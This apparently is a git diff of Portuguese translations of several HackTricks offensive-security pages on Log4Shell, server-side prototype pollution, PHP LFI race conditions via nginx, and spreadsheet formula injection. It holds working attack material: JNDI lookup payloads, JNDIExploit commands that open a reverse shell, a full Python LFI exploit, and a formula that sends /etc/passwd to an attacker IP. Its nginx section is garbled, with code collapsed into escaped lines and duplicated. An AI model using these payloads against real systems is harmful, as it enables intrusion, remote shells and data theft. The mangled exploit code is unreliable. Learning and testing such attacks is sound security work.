Inicialmente classificado como baixo, mas posteriormente elevado para crítico, este CVE é uma falha de **Negação de Serviço (DoS)** resultante de uma correção incompleta em 2.15.0 para CVE-2021-44228. Afeta configurações não padrão, permitindo que atacantes causem ataques DoS através de payloads elaborados. Um [tweet](https://twitter.com/marcioalm/status/1471740771581652995) mostra um método de contorno. O problema foi resolvido nas versões 2.16.0 e 2.12.2, removendo padrões de busca de mensagens e desabilitando JNDI por padrão.
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Alto]**
@ -136,7 +128,7 @@ Log4j 2.16.0 contém uma falha de DoS, levando ao lançamento do `log4j 2.17.0`
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
Afetando a versão 2.17 do log4j, este CVE requer que o atacante controle o arquivo de configuração do log4j. Envolve potencial execução de código arbitrário via um JDBCAppender configurado. Mais detalhes estão disponíveis no [post do blog da Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
Afetando a versão 2.17 do log4j, este CVE exige que o atacante controle o arquivo de configuração do log4j. Envolve potencial execução de código arbitrário via um JDBCAppender configurado. Mais detalhes estão disponíveis no [post do blog da Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
## Exploração do Log4Shell
@ -150,7 +142,7 @@ Esta vulnerabilidade é muito fácil de descobrir se desprotegida, pois enviará
* `${jndi:ldap://2j4ayo.dnslog.cn}` (usando [dnslog](http://dnslog.cn))
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` usando (usando [huntress](https://log4shell.huntress.com))
Note que **mesmo se uma solicitação DNS for recebida, isso não significa que a aplicação é explorável** (ou mesmo vulnerável), você precisará tentar explorá-la.
Note que **mesmo que uma solicitação DNS seja recebida, isso não significa que a aplicação seja explorável** (ou mesmo vulnerável), você precisará tentar explorá-la.
{% hint style="info" %}
Lembre-se de que para **explorar a versão 2.15** você precisa adicionar o **bypass de verificação de localhost**: ${jndi:ldap://**127.0.0.1#**...}
@ -227,7 +219,7 @@ Any other env variable name that could store sensitive information
### RCE Information
{% hint style="info" %}
Hosts rodando em versões do JDK acima de 6u141, 7u131 ou 8u121 estão protegidos contra o vetor de ataque de carregamento de classe LDAP. Isso se deve à desativação padrão de `com.sun.jndi.ldap.object.trustURLCodebase`, que impede o JNDI de carregar uma base de código remota via LDAP. No entanto, é crucial notar que essas versões **não estão protegidas contra o vetor de ataque de desserialização**.
Hosts executando versões do JDK acima de 6u141, 7u131 ou 8u121 estão protegidos contra o vetor de ataque de carregamento de classe LDAP. Isso se deve à desativação padrão de `com.sun.jndi.ldap.object.trustURLCodebase`, que impede o JNDI de carregar uma base de código remota via LDAP. No entanto, é crucial notar que essas versões **não estão protegidas contra o vetor de ataque de desserialização**.
Para atacantes que visam explorar essas versões mais altas do JDK, é necessário aproveitar um **gadget confiável** dentro da aplicação Java. Ferramentas como ysoserial ou JNDIExploit são frequentemente usadas para esse propósito. Por outro lado, explorar versões mais baixas do JDK é relativamente mais fácil, pois essas versões podem ser manipuladas para carregar e executar classes arbitrárias.
@ -272,7 +264,7 @@ Além disso, você não pode encontrar o código-fonte na wayback machine, entã
Para este exemplo, você pode apenas executar este **servidor web vulnerável ao log4shell** na porta 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_no README você encontrará como executá-lo_). Este aplicativo vulnerável está registrando com uma versão vulnerável do log4shell o conteúdo do cabeçalho da solicitação HTTP _X-Api-Version_.
Então, você pode baixar o arquivo jar **JNDIExploit** e executá-lo com:
Em seguida, você pode baixar o arquivo jar **JNDIExploit** e executá-lo com:
```bash
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
@ -297,7 +289,7 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
```
Quando você enviar os ataques, verá alguma saída no terminal onde executou **JNDIExploit-1.2-SNAPSHOT.jar**.
Ao enviar os ataques, você verá algumas saídas no terminal onde executou **JNDIExploit-1.2-SNAPSHOT.jar**.
**Lembre-se de verificar `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` para outras opções de exploração. Além disso, caso precise, você pode alterar a porta dos servidores LDAP e HTTP.**
@ -367,13 +359,13 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
## Exploração Pós-Log4Shell
Neste [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) está bem explicado como é potencialmente **possível** **abusar** de algumas funcionalidades do **Log4J**.
Neste [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) está bem explicado como é **potencialmente** **possível** **abusar** de algumas funcionalidades do **Log4J**.
A [**página de segurança**](https://logging.apache.org/log4j/2.x/security.html) do Log4j tem algumas frases interessantes:
> A partir da versão 2.16.0 (para Java 8), a **funcionalidade de busca de mensagens foi completamente removida**. **Buscas na configuração ainda funcionam**. Além disso, o Log4j agora desabilita o acesso ao JNDI por padrão. Buscas JNDI na configuração agora precisam ser habilitadas explicitamente.
> A partir da versão 2.17.0, (e 2.12.3 e 2.3.1 para Java 7 e Java 6), **apenas strings de busca na configuração são expandidas recursivamente**; em qualquer outro uso, apenas a busca de nível superior é resolvida, e quaisquer buscas aninhadas não são resolvidas.
> A partir da versão 2.17.0 (e 2.12.3 e 2.3.1 para Java 7 e Java 6), **apenas strings de busca na configuração são expandidas recursivamente**; em qualquer outro uso, apenas a busca de nível superior é resolvida, e quaisquer buscas aninhadas não são resolvidas.
Isso significa que, por padrão, você pode **esquecer de usar qualquer exploit `jndi`**. Além disso, para realizar **buscas recursivas**, você precisa tê-las configuradas.
@ -391,7 +383,7 @@ Como visto nesta página em [**payloads anteriores**](jndi-java-naming-and-direc
### Exfiltration in Exceptions
No CTF, você **não conseguia acessar o stderr** da aplicação java usando log4J, mas as **exceções do Log4J são enviadas para stdout**, que foram impressas na aplicação python. Isso significava que, ao acionar uma exceção, poderíamos acessar o conteúdo. Uma exceção para exfiltrar a bandeira foi: **`${java:${env:FLAG}}`**. Isso funciona porque **`${java:CTF{blahblah}}`** não existe e uma exceção com o valor da bandeira será exibida:
No CTF, você **não conseguia acessar o stderr** da aplicação java usando log4J, mas as **exceções do Log4J são enviadas para stdout**, que foram impressas no aplicativo python. Isso significava que, ao acionar uma exceção, poderíamos acessar o conteúdo. Uma exceção para exfiltrar a bandeira foi: **`${java:${env:FLAG}}`**. Isso funciona porque **`${java:CTF{blahblah}}`** não existe e uma exceção com o valor da bandeira será exibida:
![](<../../.gitbook/assets/image (1023).png>)
@ -456,11 +448,6 @@ Neste [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -471,8 +458,8 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -15,20 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o motor **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
***
## Serve XSS responses
**Para mais detalhes** [**dê uma olhada na pesquisa original**](https://portswigger.net/research/server-side-prototype-pollution)
@ -43,11 +29,11 @@ _.merge({}, req.body);
res.send(req.body);
});
```
Nestes casos, XSS normalmente não é possível com um tipo de conteúdo JSON. No entanto, com a poluição de protótipos, podemos **confundir o Express para servir uma resposta HTML.** Essa vulnerabilidade depende da aplicação usar **`res.send(obj)`** e usar o analisador de corpo com o tipo de conteúdo application/json.
Em esses casos, XSS normalmente não é possível com um tipo de conteúdo JSON. No entanto, com a poluição de protótipos, podemos **confundir o Express para servir uma resposta HTML.** Essa vulnerabilidade depende da aplicação usar **`res.send(obj)`** e usar o analisador de corpo com o tipo de conteúdo application/json.
```json
{"__proto__":{"_body":true,"body":"<script>evil()"}}
```
Por **poluir** as propriedades **`body`** e **`_body`**, é possível fazer com que **o Express sirva o tipo de conteúdo HTML** e reflita a propriedade `_body`, resultando em XSS armazenado.
Ao **poluir** as propriedades **`body`** e **`_body`**, é possível fazer com que **o Express sirva o tipo de conteúdo HTML** e reflita a propriedade `_body`, resultando em XSS armazenado.
### Renderizar UTF7
@ -69,7 +55,7 @@ Então um JSON refletido ficará assim:
```
### Exposed Headers
O seguinte gadget de PP fará com que o servidor envie de volta o cabeçalho HTTP: **`Access-Control-Expose_headers: foo`**
O seguinte gadget de PP fará com que o servidor retorne o cabeçalho HTTP: **`Access-Control-Expose_headers: foo`**
```json
{"__proto__":{"exposedHeaders":["foo"]}}
```
@ -94,7 +80,7 @@ Com o seguinte payload, é possível **ocultar um método de uma resposta OPTION
```
### Erro
Quando você atribui a um protótipo com um primitivo, como uma string, isso produz uma **operação no-op, uma vez que o protótipo deve ser um objeto**. Se você tentar atribuir um objeto protótipo ao `Object.prototype` em si, isso **gerará uma exceção**. Podemos usar esses dois comportamentos para **detectar se a poluição do protótipo foi bem-sucedida**:
Quando você atribui a um protótipo com um primitivo como uma string, isso produz uma **operação no-op, uma vez que o protótipo deve ser um objeto**. Se você tentar atribuir um objeto protótipo ao `Object.prototype` em si, isso **gerará uma exceção**. Podemos usar esses dois comportamentos para **detectar se a poluição do protótipo foi bem-sucedida**:
```javascript
({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception
@ -125,17 +111,6 @@ Você definitivamente poderia usá-la em uma **cadeia** de bugs para explorar um
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o motor **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -147,7 +122,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -15,20 +15,6 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o motor gratuitamente em:
{% embed url="https://whiteintel.io" %}
***
### `compress.zlib://` e `PHP_STREAM_PREFER_STDIO`
Um arquivo aberto usando o protocolo `compress.zlib://` com a flag `PHP_STREAM_PREFER_STDIO` pode continuar escrevendo dados que chegam à conexão posteriormente para o mesmo arquivo.
@ -63,25 +49,13 @@ No entanto, há uma verificação no servidor web que **impede o carregamento de
Para mais informações, consulte a descrição da Condição de Corrida e o CTF em [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Suporte ao HackTricks</summary>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -15,86 +15,62 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o motor gratuitamente em:
{% embed url="https://whiteintel.io" %}
***
## Configuração vulnerável
[**Exemplo de https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
* Código PHP:
```php
\`\`\`\`h\`
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Note: One cannot directly include \`/proc/34/fd/15\` in this example as PHP's \`include\` function would resolve the path to \`/var/lib/nginx/body/0000001368 (deleted)\` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: \`/proc/self/fd/34/../../../34/fd/15\` which will finally execute the content of the deleted \`/var/lib/nginx/body/0000001368\` file. ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Nota: Não se pode incluir diretamente \`/proc/34/fd/15\` neste exemplo, pois a função \`include\` do PHP resolveria o caminho para \`/var/lib/nginx/body/0000001368 (deleted)\`, que não existe no sistema de arquivos. Essa pequena restrição pode ser contornada por alguma indireção como: \`/proc/self/fd/34/../../../34/fd/15\`, que finalmente executará o conteúdo do arquivo deletado \`/var/lib/nginx/body/0000001368\`. ## Exploit Completo \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # explorar inclusão de arquivo local PHP (LFI) via assistência de buffer de corpo do cliente do nginx # veja https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ para detalhes URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # encontrar processos de trabalho do nginx r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] trabalhador do nginx encontrado: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # fazer upload de um grande corpo de cliente para forçar o nginx a criar um /var/lib/nginx/body/$X def uploader(): print('\[+] iniciando uploader') while not done: requests.get(URL, data=' //'
```
```markdown
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass
```
```markdown
```
def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
def send\_payload\_multiprocess(requests\_session): # Use todos os CPUs para enviar o payload como corpo da requisição para o Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
def send\_payload\_multiprocess(requests\_session): # Use all CPUs to send the payload as request body for Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
def generate\_random\_path\_prefix(nginx\_pids): # Este método cria um caminho a partir de uma quantidade aleatória de componentes de caminho do ProcFS. Um caminho gerado parecerá com /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
def generate\_random\_path\_prefix(nginx\_pids): # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # As flags são formatadas como hxp{} if "hxp" in d: print("Flag encontrada! ") print(d)
def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Flags are formatted as hxp{} if "hxp" in d: print("Found flag! ") print(d)
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Escaneie os FDs do Nginx entre 10 - 45 em um loop. Como arquivos e sockets continuam fechando - é muito comum que o FD do corpo da requisição abra dentro dessa faixa for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
if **name** == "**main**": print('\[DEBUG] Criando sessão de requisições') requests\_session = create\_requests\_session() print('\[DEBUG] Obtendo pids do Nginx') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Pids do Nginx: {nginx\_pids}') print('\[DEBUG] Iniciando envio do payload') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Iniciando leitores de fd') read\_file\_multiprocess(requests\_session, nginx\_pids)
```
```
if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids)
```
## Labs
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
## References
## Referências
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
You can check their website and try their engine for **free** at:
<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
```

View file

@ -15,14 +15,6 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Formula Injection
### Info
@ -81,7 +73,7 @@ Comandos adicionais também podem ser executados, como baixar e executar um arqu
```
### Inclusão de Arquivo Local (LFI) no LibreOffice Calc
LibreOffice Calc pode ser usado para ler arquivos locais e exfiltrar dados. Aqui estão alguns métodos:
O LibreOffice Calc pode ser usado para ler arquivos locais e exfiltrar dados. Aqui estão alguns métodos:
* Lendo a primeira linha do arquivo local `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
* Exfiltrando os dados lidos para um servidor controlado pelo atacante: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
@ -90,9 +82,9 @@ LibreOffice Calc pode ser usado para ler arquivos locais e exfiltrar dados. Aqui
### Google Sheets para Exfiltração de Dados Fora de Banda (OOB)
Google Sheets oferece funções que podem ser exploradas para exfiltração de dados OOB:
O Google Sheets oferece funções que podem ser exploradas para exfiltração de dados OOB:
